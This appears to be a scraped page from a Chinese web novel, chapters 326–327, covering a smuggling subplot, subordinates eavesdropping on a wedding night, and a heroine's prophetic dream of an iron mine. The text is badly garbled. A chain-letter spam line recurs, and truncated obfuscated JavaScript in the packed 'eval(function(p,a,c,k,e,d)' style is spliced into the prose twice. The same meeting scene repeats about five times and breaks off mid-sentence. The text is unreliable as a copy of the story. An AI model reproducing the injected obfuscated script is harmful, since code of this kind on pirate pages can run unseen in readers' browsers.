听说看这本书的人都是很幸运的,分享后你的运气会更棒 笃定地补充道:“可他们这般大费周章,冒着抄家灭族的风险走私禁物,赚这么多**,定然不是为了这支商队的人自己享乐,归根结底,还是要供养京城的高家。不然,他们犯不着冒这么大的险,毕竟走私禁物,一旦被查,便是死路一条。” 苏辞赞许地点了点头,眼底闪过一丝笑意:“你说的没错,我也是这么想的。果然,梁玉从二管事口中套出了关键——高家在边境走私赚得的这些**,并不会直接运往京城,而是先存入汇昌票号,经过好几层周转,掩盖掉来源,再以买卖字画、田庄分红、族敬银这些名正言顺的名义,一点点回流到京城的高家手中。” 薛嘉言闻言,忍不住颔首,眼底闪过一丝嘲讽:“怪不得呢,我之前便听闻,高侍郎的一笔丹青,在市面上能炒到万金之价,当时还觉得奇怪,他的画技虽好,却也不至于贵重到这般地步,原来是拿自家走私的**,暗 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薛嘉言微微颔首,神色也变得郑重起来。她心里清楚,这事唯有交给苗菁最稳妥,高家走私的恐怕不止是些无关紧要的生活物资,若是当真涉嫌走私军械,那便是触碰了姜玄的底线,姜玄定然不会轻饶了高家。 她看着苏辞眼底的疲惫,想起他一路长途跋涉,刚到京城便赶来赴宴,又马不停蹄地跟她说这些正事,心中难免有些不忍,轻声劝道:“此事不急,苗大人如今正是新婚燕尔,不便打扰他的清净。再说你这一路奔波,十分辛苦,先歇两日,养足精神,等过几日,再去找苗大人商议也不迟。” 苏辞闻言,忍不住笑了起来,语气轻松了几分,摆了摆手道:“放心,嘉嘉,咱也不是那种没眼色的人。我也知道苗大人新婚,不会贸然去打扰他。我打算先歇两日,整理一下梁玉传来的所有证据,等一切准备妥当,再找个合适的时机,去同苗大人细谈事。” 第326章 听墙角 而另一边,苗家偏院的廊下,却聚着几个“没眼色的人,都是苗菁在锦衣卫的得力下属,平日里跟着他出生入死,来往十分紧密,也敢在他面前打趣胡闹。 几人凑在一起,压低声音叽叽喳喳,眼神时不时往新房的方向瞟,透着几分促狭。 其中一个瘦高个,眉眼灵动,正是锦衣卫里出了名的爱凑热闹的王清,他挤眉弄眼地撞了撞身边人的胳膊,语气戏谑:“兄弟们,大人今日新婚,良辰美景,咱们不去凑个热闹,听个墙角?也好看看咱们素来严肃的苗大人,私下里是什么模样。 王清话音刚落,旁边一个身材魁梧、满脸憨厚的汉子便接了话,正是何毅。 “可不是嘛!该去听听!咱们大人平日里一本正经,连花楼都从不踏足,要是不懂什么儿女情长,咱们隔窗提点提点,也算是帮大人一把,不辜负他平日里对咱们的照拂。 两人说得兴致勃勃,一旁站着的薄广却缓缓白了他们一眼,语气凉凉的:“要去你们去,我可不去讨打。今日是大人新婚大喜,你们敢去扰他清净,少不了一顿教训。 王清却嘿嘿一笑,毫不在意地摆了摆手:“怕什么?新婚无大小,听墙角本就是习俗,再说咱们跟大人这么多年,他素来宽和,便是察觉了,也不会真的因此打咱们的,顶多骂两句罢了。 何毅也连连附和:“就是!我瞧着大人今日心情好得很,从宴席开始到结束,嘴角就没合上过,都快咧到耳朵根了,肯定不会生气的。咱们动作轻些,不被发现就行了。 薄广无奈地摇了摇头,从怀里摸出一个小瓷瓶,晃了晃,似笑非笑地说道:“行吧,不信我的直管去,我这已经备好了伤药,就等你们回来敷了,到时候可别哭着喊疼。 王清和何毅哪里肯信,只当薄广是故意吓唬他们,对视一眼,偷偷溜了出去,猫着腰,借着庭院里的花木遮掩,轻手轻脚地往新房的方向摸去,生怕被人发现。 薄广站在原地,摇了摇头,眼底却藏着几分笑意,慢悠悠地靠在廊柱上,等着看两人的笑话。 没过多久,就见两个身影跌跌撞撞地从新房方向跑了回来,头发凌乱,脸上都红了好几块,一副灰头土脸的狼狈模样。 薄广见状,再也忍不住,乐得哈哈大笑,走上前拍了拍两人的肩膀,打趣道:“怎么样?我没说错吧?挨揍了吧?快说说,大人拿什么打的你们,把你们打成这副模样。 王清揉了揉脸上的红痕,疼得龇牙咧嘴,却又带着几分尴尬,小声说道:“别提了,大 听说看这本书的人都是很幸运的,分享后你的运气会更棒 人没动手,就拿炕上的莲子和花生砸的,看着轻,砸在脸上还真疼,尤其是花生,硬得很。” 何毅也揉着自己的脸颊,一脸委屈,补充道:“可不是嘛!我们俩蹲在窗根下,刚咧着嘴听了几句,窗户忽然就被推开了,我们躲都没来得及,就被砸了个正着,大人还瞪了我们一眼,吓得我们拔腿就跑。” 薄广笑得更欢了:“该!我早就跟你们说过,大人会教训你们,你们偏不听。再说了,大人这已经是留了力道了,要是真动怒,以他的身手,你们俩的脸都得毁了,这点伤,算是轻的。” 王清和何毅自然也明白,苗菁不过是小小教训他们一下,根本没使出真力气,若是真的动怒,他们俩根本逃不掉。 薄广见两人不再抱怨,眼底的促狭更甚,嘿嘿笑着,挑了挑眉,凑到两人身边,压低声音问道:“话说回来,你们俩蹲在窗根下,到底听到什么了?快说说,咱们大人私下里,是不是跟平日里不一样?” 说到这里,王清脸上的红痕似乎都不疼了,眼睛瞬间亮了起来,拉着何毅,眉飞色舞地演了起来。 何毅学着苗菁的语气,轻声说道:“晓芸,累不累?” 话音刚落,王清便立刻配合着,捏着嗓子模仿郭晓芸,应道:“我不累,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苗菁看着她这副娇羞动人的模样,心头一热,忍不住低下头,深深亲了亲她的脸颊,声音不再似平日里那般稳重,带着几分沙哑与暧昧,哑声道:“好了,别笑了,你不是要帮我脱衣吗,继续……” 郭晓芸被他亲得脸颊更红,轻轻“唔”了一声,伸出纤细的手指,小心翼翼地帮苗菁解着腰间的衣带。 第327章 心有灵犀 郭晓芸手有些抖,解了半天也没全部解开。 苗菁看着她有些害羞的模样,忍不住轻笑出声,低声问道:“这衣裳都是你亲手做的,怎么解起来这么不熟练?” 郭晓芸脸颊通红,张了张嘴,还没来得及回话,苗菁便已经伸手去解她领口的扣子,指腹划过她光洁的脖颈,带着几分温热的触感,让她忍不住轻轻一颤。 “没关系,我教你怎么解衣……”苗菁的声音低沉,在她耳边轻轻响起,撩得郭晓芸心尖发痒。 烛火摇曳,映得郭晓芸的肌肤愈发白皙细腻,像上好的羊脂玉一般,干净而温润,与苗菁古铜色的肌肤形成了鲜明的对比,哪哪都好看,让苗菁看得移不开眼,忍不住咽了口口水。 郭晓芸被他看得浑身不自在,含羞带怯地低下头,声音细若蚊蚋,娇声道:“关……关灯……” 苗菁却不肯,将人轻轻压倒在铺着大红锦被的拔步床上,身体微微覆在她身上,声音不再似平日那般沉稳,反倒带着几分撒娇似的软糯,低声说道:“不关,我要看……” …… 他急得一头汗,撑着身子要去把灯端得更近一些。 “真笨……”她的声音软糯,带着几分娇嗔,眼底满是爱意。 苗菁凑到她耳边,轻声说道:“那晓芸教我……” …… 有些事,一旦开禁,便再也忍不住了。 苗菁从前只知道,自己心悦郭晓芸,想要好好疼她、照顾她、守护她,可今晚,他却只想好好“欺负”她——她那么软,那么香,那么娇,让他欲罢不能。 红烛摇曳,帐暖春深,这一夜,注定漫长而旖旎。 过了两日,又到了姜玄带着阿满去见薛嘉言的日子,依旧约在了僻静雅致的枫林苑。 姜玄觉得如今他们之间的关系早已公开,不必再这般遮遮掩掩。他曾提议薛嘉言可以直接进宫去见阿满。 可薛嘉言思量再三,还是拒绝了。 一来,是为尽孝。甄太妃与母亲都极疼阿满,将孩子接出宫来,正好让两位老人家好好亲近一番。 二来,是她打心底里不喜欢皇宫。前世今生,那座金碧辉煌的牢笼都让她觉得压抑窒息,步步惊心,远不如枫林苑这般自在安心。 姜玄向来最是顺她,半点不勉强,只温柔应下。 到了约定之日,便早早换上常服,亲自抱着阿满,驱车赶往枫林苑。 马车刚停稳,车门一掀开,阿满小小的身子便探了出来,一眼就看见了站在廊下等 候的薛嘉言。 “娘——” 小家伙立刻张开小手,奶声奶气地喊了一声,迈着小短腿跌跌撞撞地朝她奔去。 薛嘉言心头一软,整颗心都像是化了,连忙弯腰伸手,稳稳将孩子搂进怀中,抱着他亲了又亲,鼻尖蹭着他柔软的发顶,满心都是暖意。 母子俩虽隔上半个月才能见上一面,可骨血相连的天性半点不隔,一见面便黏糊得紧,亲昵得旁若无人。 薛嘉言陪着阿满在庭院里玩了一会儿,教他辨认花草,听他咿咿呀呀说着话,玩了好一会儿,她才吩咐奶娘将他抱去内堂,陪甄太妃与吕氏说话。 待人都退去,暖阁里只剩下她与姜玄两人,茶香袅袅,安静又安心。 薛嘉言这才缓缓开口,将心头藏了许久的事,轻声说了出来。 “陛下,我在赫哲部与我朝交界的地方,承包了一座山头。” 姜玄闻言只当她是在说寻常生意,眉眼温柔,不假思索便开口:“可是银钱周转不便?若是缺了,尽管与我说,我让人给你送来。” 薛嘉言轻轻摇了摇头:“陛下想哪里去了,我自然不是缺银钱。那山头原本是打算租下种些果树的,只是……昨夜我做了一个梦。” 这话一出,姜玄端着茶杯的动作微微一顿,眼中瞬间多了几分认真。 他太清楚薛嘉言的异样——她口中的“梦”,从来都不是寻常的梦,每一次说出来,都预示着有大事发生,且都会应验。 薛嘉言望着他,语气沉静而郑重,缓缓将梦中景象道出: “梦里大雪封山,天寒地冻。山脚下有个军户,他的妻子忽然重病缠身,眼看就要撑不住了。有人告诉他,深山之中长有雪莲,能救百病,他便不顾风雪,独自进山寻药。” “说来也巧,那军户竟真在冰天雪地的石缝里,找到了一株雪莲。他欣喜若狂,一时心急脚滑,脚下一松,便从陡峭的山坡上滚了下去,不知翻滚了多久,重重摔进一处隐秘的山谷。” “等他再次醒来,天已全黑,他颤抖着手点亮火折子,一抬眼,便看见身旁断裂的岩壁上,裸露出大片大片的石块。那些石头黑如墨玉,沉甸甸压手,断面在火光之下,隐隐泛着一层暗红的金属光泽,绝非寻常山间灰白粗糙的岩石。” “他虽是个粗人,可常年驻守边关,也曾见过铁匠铺冶炼的铁矿石,只一眼,便心头大震。” “后来那军户拼死逃出生天,回到卫所,将那块石头拿去给铁匠辨认——那的确是品相极好的铁矿石。” 薛嘉言抬眸,望着姜玄,声音轻却字字清晰: “陛下,你知道我的梦一向灵验。不如派人悄悄去那座山头勘察一番,若当真藏有铁矿,将来边关将士铸兵器,便不必再愁原料短缺,百姓开荒耕田,也能有更多铁制农具可用。” 她话音刚落,姜玄眼中已亮起灼灼光芒。 对于薛嘉言的梦,他从来不曾有过半分怀疑,一次又一次的应验,早已让他深信不疑。 这哪里是梦。 这是上天,再一次把天大的机缘,送到了他与大兖的面前。 “言言,你怎么知道,我最近正想着要给你封夫人?真是瞌睡送来了软枕头,你我竟是这般心有灵犀!” 姜玄握着薛嘉言的手臂,语气难掩激动,眼底亮得惊人。 薛嘉言微微一怔,轻声笑道:“陛下不是已经封我做宜人了吗?” “宜人太低了,配不上你。” 姜玄摇头,语气坚定,“你如今暂时不便入宫,没有名分在身,外头那些人不知轻重,暗地里不知怎么轻贱你。我想直接封你为二品夫人,这样你出门行走,不管是宗室命妇还是朝臣家眷,没人再敢为难你半分。” 候的薛嘉言。 “娘——” 小家伙立刻张开小手,奶声奶气地喊了一声,迈着小短腿跌跌撞撞地朝她奔去。 薛嘉言心头一软,整颗心都像是化了,连忙弯腰伸手,稳稳将孩子搂进怀中,抱着他亲了又亲,鼻尖蹭着他柔软的发顶,满心都是暖意。 母子俩虽隔上半个月才能见上一面,可骨血相连的天性半点不隔,一见面便黏糊得紧,亲昵得旁若无人。 薛嘉言陪着阿满在庭院里玩了一会儿,教他辨认花草,听他咿咿呀呀说着话,玩了好一会儿,她才吩咐奶娘将他抱去内堂,陪甄太妃与吕氏说话。 待人都退去,暖阁里只剩下她与姜玄两人,茶香袅袅,安静又安心。 薛嘉言这才缓缓开口,将心头藏了许久的事,轻声说了出来。 “陛下,我在赫哲部与我朝交界的地方,承包了一座山头。” 姜玄闻言只当她是在说寻常生意,眉眼温柔,不假思索便开口:“可是银钱周转不便?若是缺了,尽管与我说,我让人给你送来。” 薛嘉言轻轻摇了摇头:“陛下想哪里去了,我自然不是缺银钱。那山头原本是打算租下种些果树的,只是……昨夜我做了一个梦。” 这话一出,姜玄端着茶杯的动作微微一顿,眼中瞬间多了几分认真。 他太清楚薛嘉言的异样——她口中的“梦”,从来都不是寻常的梦,每一次说出来,都预示着有大事发生,且都会应验。 薛嘉言望着他,语气沉静而郑重,缓缓将梦中景象道出: “梦里大雪封山,天寒地冻。山脚下有个军户,他的妻子忽然重病缠身,眼看就要撑不住了。有人告诉他,深山之中长有雪莲,能救百病,他便不顾风雪,独自进山寻药。” “说来也巧,那军户竟真在冰天雪地的石缝里,找到了一株雪莲。他欣喜若狂,一时心急脚滑,脚下一松,便从陡峭的山坡上滚了下去,不知翻滚了多久,重重摔进一处隐秘的山谷。” “等他再次醒来,天已全黑,他颤抖着手点亮火折子,一抬眼,便看见身旁断裂的岩壁上,裸露出大片大片的石块。那些石头黑如墨玉,沉甸甸压手,断面在火光之下,隐隐泛着一层暗红的金属光泽,绝非寻常山间灰白粗糙的岩石。” “他虽是个粗人,可常年驻守边关,也曾见过铁匠铺冶炼的铁矿石,只一眼,便心头大震。” “后来那军户拼死逃出生天,回到卫所,将那块石头拿去给铁匠辨认——那的确是品相极好的铁矿石。” 薛嘉言抬眸,望着姜玄,声音轻却字字清晰: “陛下,你知道我的梦一向灵验。不如派人悄悄去那座山头勘察一番,若当真藏有铁矿,将来边关将士铸兵器,便不必再愁原料短缺,百姓开荒耕田,也能有更多铁制农具可用。” 她话音刚落,姜玄眼中已亮起灼灼光芒。 对于薛嘉言的梦,他从来不曾有过半分怀疑,一次又一次的应验,早已让他深信不疑。 这哪里是梦。 这是上天,再一次把天大的机缘,送到了他与大兖的面前。 “言言,你怎么知道,我最近正想着要给你封夫人?真是瞌睡送来了软枕头,你我竟是这般心有灵犀!” 姜玄握着薛嘉言的手臂,语气难掩激动,眼底亮得惊人。 薛嘉言微微一怔,轻声笑道:“陛下不是已经封我做宜人了吗?” “宜人太低了,配不上你。” 姜玄摇头,语气坚定,“你如今暂时不便入宫,没有名分在身,外头那些人不知轻重,暗地里不知怎么轻贱你。我想直接封你为二品夫人,这样你出门行走,不管是宗室命妇还是朝臣家眷,没人再敢为难你半分。” 候的薛嘉言。 “娘——” 小家伙立刻张开小手,奶声奶气地喊了一声,迈着小短腿跌跌撞撞地朝她奔去。 薛嘉言心头一软,整颗心都像是化了,连忙弯腰伸手,稳稳将孩子搂进怀中,抱着他亲了又亲,鼻尖蹭着他柔软的发顶,满心都是暖意。 母子俩虽隔上半个月才能见上一面,可骨血相连的天性半点不隔,一见面便黏糊得紧,亲昵得旁若无人。 薛嘉言陪着阿满在庭院里玩了一会儿,教他辨认花草,听他咿咿呀呀说着话,玩了好一会儿,她才吩咐奶娘将他抱去内堂,陪甄太妃与吕氏说话。 待人都退去,暖阁里只剩下她与姜玄两人,茶香袅袅,安静又安心。 薛嘉言这才缓缓开口,将心头藏了许久的事,轻声说了出来。 “陛下,我在赫哲部与我朝交界的地方,承包了一座山头。” 姜玄闻言只当她是在说寻常生意,眉眼温柔,不假思索便开口:“可是银钱周转不便?若是缺了,尽管与我说,我让人给你送来。” 薛嘉言轻轻摇了摇头:“陛下想哪里去了,我自然不是缺银钱。那山头原本是打算租下种些果树的,只是……昨夜我做了一个梦。” 这话一出,姜玄端着茶杯的动作微微一顿,眼中瞬间多了几分认真。 他太清楚薛嘉言的异样——她口中的“梦”,从来都不是寻常的梦,每一次说出来,都预示着有大事发生,且都会应验。 薛嘉言望着他,语气沉静而郑重,缓缓将梦中景象道出: “梦里大雪封山,天寒地冻。山脚下有个军户,他的妻子忽然重病缠身,眼看就要撑不住了。有人告诉他,深山之中长有雪莲,能救百病,他便不顾风雪,独自进山寻药。” “说来也巧,那军户竟真在冰天雪地的石缝里,找到了一株雪莲。他欣喜若狂,一时心急脚滑,脚下一松,便从陡峭的山坡上滚了下去,不知翻滚了多久,重重摔进一处隐秘的山谷。” “等他再次醒来,天已全黑,他颤抖着手点亮火折子,一抬眼,便看见身旁断裂的岩壁上,裸露出大片大片的石块。那些石头黑如墨玉,沉甸甸压手,断面在火光之下,隐隐泛着一层暗红的金属光泽,绝非寻常山间灰白粗糙的岩石。” “他虽是个粗人,可常年驻守边关,也曾见过铁匠铺冶炼的铁矿石,只一眼,便心头大震。” “后来那军户拼死逃出生天,回到卫所,将那块石头拿去给铁匠辨认——那的确是品相极好的铁矿石。” 薛嘉言抬眸,望着姜玄,声音轻却字字清晰: “陛下,你知道我的梦一向灵验。不如派人悄悄去那座山头勘察一番,若当真藏有铁矿,将来边关将士铸兵器,便不必再愁原料短缺,百姓开荒耕田,也能有更多铁制农具可用。” 她话音刚落,姜玄眼中已亮起灼灼光芒。 对于薛嘉言的梦,他从来不曾有过半分怀疑,一次又一次的应验,早已让他深信不疑。 这哪里是梦。 这是上天,再一次把天大的机缘,送到了他与大兖的面前。 “言言,你怎么知道,我最近正想着要给你封夫人?真是瞌睡送来了软枕头,你我竟是这般心有灵犀!” 姜玄握着薛嘉言的手臂,语气难掩激动,眼底亮得惊人。 薛嘉言微微一怔,轻声笑道:“陛下不是已经封我做宜人了吗?” “宜人太低了,配不上你。” 姜玄摇头,语气坚定,“你如今暂时不便入宫,没有名分在身,外头那些人不知轻重,暗地里不知怎么轻贱你。我想直接封你为二品夫人,这样你出门行走,不管是宗室命妇还是朝臣家眷,没人再敢为难你半分。” 候的薛嘉言。 “娘——” 小家伙立刻张开小手,奶声奶气地喊了一声,迈着小短腿跌跌撞撞地朝她奔去。 薛嘉言心头一软,整颗心都像是化了,连忙弯腰伸手,稳稳将孩子搂进怀中,抱着他亲了又亲,鼻尖蹭着他柔软的发顶,满心都是暖意。 母子俩虽隔上半个月才能见上一面,可骨血相连的天性半点不隔,一见面便黏糊得紧,亲昵得旁若无人。 薛嘉言陪着阿满在庭院里玩了一会儿,教他辨认花草,听他咿咿呀呀说着话,玩了好一会儿,她才吩咐奶娘将他抱去内堂,陪甄太妃与吕氏说话。 待人都退去,暖阁里只剩下她与姜玄两人,茶香袅袅,安静又安心。 薛嘉言这才缓缓开口,将心头藏了许久的事,轻声说了出来。 “陛下,我在赫哲部与我朝交界的地方,承包了一座山头。” 姜玄闻言只当她是在说寻常生意,眉眼温柔,不假思索便开口:“可是银钱周转不便?若是缺了,尽管与我说,我让人给你送来。” 薛嘉言轻轻摇了摇头:“陛下想哪里去了,我自然不是缺银钱。那山头原本是打算租下种些果树的,只是……昨夜我做了一个梦。” 这话一出,姜玄端着茶杯的动作微微一顿,眼中瞬间多了几分认真。 他太清楚薛嘉言的异样——她口中的“梦”,从来都不是寻常的梦,每一次说出来,都预示着有大事发生,且都会应验。 薛嘉言望着他,语气沉静而郑重,缓缓将梦中景象道出: “梦里大雪封山,天寒地冻。山脚下有个军户,他的妻子忽然重病缠身,眼看就要撑不住了。有人告诉他,深山之中长有雪莲,能救百病,他便不顾风雪,独自进山寻药。” “说来也巧,那军户竟真在冰天雪地的石缝里,找到了一株雪莲。他欣喜若狂,一时心急脚滑,脚下一松,便从陡峭的山坡上滚了下去,不知翻滚了多久,重重摔进一处隐秘的山谷。” “等他再次醒来,天已全黑,他颤抖着手点亮火折子,一抬眼,便看见身旁断裂的岩壁上,裸露出大片大片的石块。那些石头黑如墨玉,沉甸甸压手,断面在火光之下,隐隐泛着一层暗红的金属光泽,绝非寻常山间灰白粗糙的岩石。” “他虽是个粗人,可常年驻守边关,也曾见过铁匠铺冶炼的铁矿石,只一眼,便心头大震。” “后来那军户拼死逃出生天,回到卫所,将那块石头拿去给铁匠辨认——那的确是品相极好的铁矿石。” 薛嘉言抬眸,望着姜玄,声音轻却字字清晰: “陛下,你知道我的梦一向灵验。不如派人悄悄去那座山头勘察一番,若当真藏有铁矿,将来边关将士铸兵器,便不必再愁原料短缺,百姓开荒耕田,也能有更多铁制农具可用。” 她话音刚落,姜玄眼中已亮起灼灼光芒。 对于薛嘉言的梦,他从来不曾有过半分怀疑,一次又一次的应验,早已让他深信不疑。 这哪里是梦。 这是上天,再一次把天大的机缘,送到了他与大兖的面前。 “言言,你怎么知道,我最近正想着要给你封夫人?真是瞌睡送来了软枕头,你我竟是这般心有灵犀!” 姜玄握着薛嘉言的手臂,语气难掩激动,眼底亮得惊人。 薛嘉言微微一怔,轻声笑道:“陛下不是已经封我做宜人了吗?” “宜人太低了,配不上你。” 姜玄摇头,语气坚定,“你如今暂时不便入宫,没有名分在身,外头那些人不知轻重,暗地里不知怎么轻贱你。我想直接封你为二品夫人,这样你出门行走,不管是宗室命妇还是朝臣家眷,没人再敢为难你半分。” 候的薛嘉言。 “娘——” 小家伙立刻张开小手,奶声奶气地喊了一声,迈着小短腿跌跌撞撞地朝她奔去。 薛嘉言心头一软,整颗心都像是化了,连忙弯腰伸手,稳稳将孩子搂进怀中,抱着他亲了又亲,鼻尖蹭着他柔软的发顶,满心都是暖意。 母子俩虽隔上半个月才能见上一面,可骨血相连的天性半点不隔,一见面便黏糊得紧,亲昵得旁若无人。 薛嘉言陪着阿满在庭院里玩了一会儿,教他辨认花草,听他咿咿呀呀说着话,玩了好一会儿,她才吩咐奶娘将他抱去内堂,陪甄太妃与吕氏说话。 待人都退去,暖阁里只剩下她与姜玄两人,茶香袅袅,安静又安心。 薛嘉言这才缓缓开口,将心头藏了许久的事,轻声说了出来。 “陛下,我在赫哲部与我朝交界的地方,承包了一座山头。” 姜玄闻言只当她是在说寻常生意,眉眼温柔,不假思索便开口:“可是银钱周转不便?若是缺了,尽管与我说,我让人给你送来。” 薛嘉言轻轻摇了摇头:“陛下想哪里去了,我自然不是缺银钱。那山头原本是打算租下种些果树的,只是……昨夜我做了一个梦。” 这话一出,姜玄端着茶杯的动作微微一顿,眼中瞬间多了几分认真。 他太清楚薛嘉言的异样——她口中的“梦”,从来都不是寻常的梦,每一次说出来,都预示着有大事发生,且都会应验。 薛嘉言望着他,语气沉静而郑重,缓缓将梦中景象道出: “梦里大雪封山,天寒地冻。山脚下有个军户,他的妻子忽然重病缠身,眼看就要撑不住了。有人告诉他,深山之中长有雪莲,能救百病,他便不顾风雪,独自进山寻药。” “说来也巧,那军户竟真在冰天雪地的石缝里,找到了一株雪莲。他欣喜若狂,一时心急脚滑,脚下一松,便从陡峭的山坡上滚了下去,不知翻滚了多久,重重摔进一处隐秘的山谷。” “等他再次醒来,天已全黑,他颤抖着手点亮火折子,一抬眼,便看见身旁断裂的岩壁上,裸露出大片大片的石块。那些石头黑如墨玉,沉甸甸压手,断面在火光之下,隐隐泛着一层暗红的金属光泽,绝非寻常山间灰白粗糙的岩石。” “他虽是个粗人,可常年驻守边关,也曾见过铁匠铺冶炼的铁矿石,只一眼,便心头大震。” “后来那军户拼死逃出生天,回到卫所,将那块石头拿去给铁匠辨认——那的确是品相极好的铁矿石。” 薛嘉言抬眸,望着姜玄,声音轻却字字清晰: “陛下,你知道我的梦一向灵验。不如派人悄悄去那座山头勘察一番,若当真藏有铁矿,将来边关将士铸兵器,便不必再愁原料短缺,百姓开荒耕田,也能有更多铁制农具可用。” 她话音刚落,姜玄眼中已亮起灼灼光芒。 对于薛嘉言的梦,他从来不曾有过半分怀疑,一次又一次的应验,早已让他深信不疑。 这哪里是梦。 这是上天,再一次把天大的机缘,送到了他与大兖的面前。 “言言,你怎么知道,我最近正想着要给你封夫人?真是瞌睡送来了软枕头,你我竟是这般心有灵犀!” 姜玄握着薛嘉言的手臂,语气难掩激动,眼底亮得惊人。 薛嘉言微微一怔,轻声笑道:“陛下不是已经封我做宜人了吗?” “宜人太低了,配不上你。” 姜玄摇头,语气坚定,“你如今暂时不便入宫,没有名分在身,外头那些人不知轻重,暗地里不知怎么轻贱你。我想直接封你为二品夫人,这样你出门行走,不管是宗室命妇还是朝臣家眷,没人再敢为难你半分。” 候的薛嘉言。 “娘——” 小家伙立刻张开小手,奶声奶气地喊了一声,迈着小短腿跌跌撞撞地朝她奔去。 薛嘉言心头一软,整颗心都像是化了,连忙弯腰伸手,稳稳将孩子搂进怀中,抱着他亲了又亲,鼻尖蹭着他柔软的发顶,满心都是暖意。 母子俩虽隔上半个月才能见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“等他再次醒来,天已全黑,他颤抖着手点亮火折子,一抬眼,便看见身旁断裂的岩壁上,裸露出大片大片的石块。那些石头黑如墨玉,沉甸甸压手,断面在火光之下,隐隐泛着一层暗红的金属光泽,绝非寻常山间灰白粗糙的岩石。” “他虽是个粗人,可常年驻守边关,也曾见过铁匠铺冶炼的铁矿石,只一眼,便心头大震。” “后来那军户拼死逃出生天,回到卫所,将那块石头拿去给铁匠辨认——那的确是品相极好的铁矿石。” 薛嘉言抬眸,望着姜玄,声音轻却字字清晰: “陛下,你知道我的梦一向灵验。不如派人悄悄去那座山头勘察一番,若当真藏有铁矿,将来边关将士铸兵器,便不必再愁原料短缺,百姓开荒耕田,也能有更多铁制农具可用。” 她话音刚落,姜玄眼中已亮起灼灼光芒。 对于薛嘉言的梦,他从来不曾有过半分怀疑,一次又一次的应验,早已让他深信不疑。 这哪里是梦。 这是上天,再一次把天大的机缘,送到了他与大兖的面前。 “言言,你怎么知道,我最近正想着要给你封夫人?真是瞌睡送来了软枕头,你我竟是这般心有灵犀!” 姜玄握着薛嘉言的手臂,语气难掩激动,眼底亮得惊人。 薛嘉言微微一怔,轻声笑道:“陛下不是已经封我做宜人了吗?” “宜人太低了,配不上你。” 姜玄摇头,语气坚定,“你如今暂时不便入宫,没有名分在身,外头那些人不知轻重,暗地里不知怎么轻贱你。我想直接封你为二品夫人,这样你出门行走,不管是宗室命妇还是朝臣家眷,没人再敢为难你半分。” 候的薛嘉言。 “娘——” 小家伙立刻张开小手,奶声奶气地喊了一声,迈着小短腿跌跌撞撞地朝她奔去。 薛嘉言心头一软,整颗心都像是化了,连忙弯腰伸手,稳稳将孩子搂进怀中,抱着他亲了又亲,鼻尖蹭着他柔软的发顶,满心都是暖意。 母子俩虽隔上半个月才能见上一面,可骨血相连的天性半点不隔,一见面便黏糊得紧,亲昵得旁若无人。 薛嘉言陪着阿满在庭院里玩了一会儿,教他辨认花草,听他咿咿呀呀说着话,玩了好一会儿,她才吩咐奶娘将他抱去内堂,陪甄太妃与吕氏说话。 待人都退去,暖阁里只剩下她与姜玄两人,茶香袅袅,安静又安心。 薛嘉言这才缓缓开口,将心头藏了许久的事,轻声说了出来。 “陛下,我在赫哲部与我朝交界的地方,承包了一座山头。” 姜玄闻言只当她是在说寻常生意,眉眼温柔,不假思索便开口:“可是银钱周转不便?若是缺了,尽管与我说,我让人给你送来。” 薛嘉言轻轻摇了摇头:“陛下想哪里去了,我自然不是缺银钱。那山头原本是打算租下种些果树的,只是……昨夜我做了一个梦。” 这话一出,姜玄端着茶杯的动作微微一顿,眼中瞬间多了几分认真。 他太清楚薛嘉言的异样——她口中的“梦”,从来都不是寻常的梦,每一次说出来,都预示着有大事发生,且都会应验。 薛嘉言望着他,语气沉静而郑重,缓缓将梦中景象道出: “梦里大雪封山,天寒地冻。山脚下有个军户,他的妻子忽然重病缠身,眼看就要撑不住了。有人告诉他,深山之中长有雪莲,能救百病,他便不顾风雪,独自进山寻药。” “说来也巧,那军户竟真在冰天雪地的石缝里,找到了一株雪莲。他欣喜若狂,一时心急脚滑,脚下一松,便从陡峭的山坡上滚了下去,不知翻滚了多久,重重摔进一处隐秘的山谷。” “等他再次醒来,天已全黑,他颤抖着手点亮火折子,一抬眼,便看见身旁断裂的岩壁上,裸露出大片大片的石块。那些石头黑如墨玉,沉甸甸压手,断面在火光之下,隐隐泛着一层暗红的金属光泽,绝非寻常山间灰白粗糙的岩石。” “他虽是个粗人,可常年驻守边关,也曾见过铁匠铺冶炼的铁矿石,只一眼,便心头大震。” “后来那军户拼死逃出生天,回到卫所,将那块石头拿去给铁匠辨认——那的确是品相极好的铁矿石。” 薛嘉言抬眸,望着姜玄,声音轻却字字清晰: “陛下,你知道我的梦一向灵验。不如派人悄悄去那座山头勘察一番,若当真藏有铁矿,将来边关将士铸兵器,便不必再愁原料短缺,百姓开荒耕田,也能有更多铁制农具可用。” 她话音刚落,姜玄眼中已亮起灼灼光芒。 对于薛嘉言的梦,他从来不曾有过半分怀疑,一次又一次的应验,早已让他深信不疑。 这哪里是梦。 这是上天,再一次把天大的机缘,送到了他与大兖的面前。 “言言,你怎么知道,我最近正想着要给你封夫人?真是瞌睡送来了软枕头,你我竟是这般心有灵犀!” 姜玄握着薛嘉言的手臂,语气难掩激动,眼底亮得惊人。 薛嘉言微微一怔,轻声笑道:“陛下不是已经封我做宜人了吗?” “宜人太低了,配不上你。” 姜玄摇头,语气坚定,“你如今暂时不便入宫,没有名分在身,外头那些人不知轻重,暗地里不知怎么轻贱你。我想直接封你为二品夫人,这样你出门行走,不管是宗室命妇还是朝臣家眷,没人再敢为难你半分。” 候的薛嘉言。 “娘——” 小家伙立刻张开小手,奶声奶气地喊了一声,迈着小短腿跌跌撞撞地朝她奔去。 薛嘉言心头一软,整颗心都像是化了,连忙弯腰伸手,稳稳将孩子搂进怀中,抱着他亲了又亲,鼻尖蹭着他柔软的发顶,满心都是暖意。 母子俩虽隔上半个月才能见上一面,可骨血相连的天性半点不隔,一见面便黏糊得紧,亲昵得旁若无人。 薛嘉言陪着阿满在庭院里玩了一会儿,教他辨认花草,听他咿咿呀呀说着话,玩了好一会儿,她才吩咐奶娘将他抱去内堂,陪甄太妃与吕氏说话。 待人都退去,暖阁里只剩下她与姜玄两人,茶香袅袅,安静又安心。 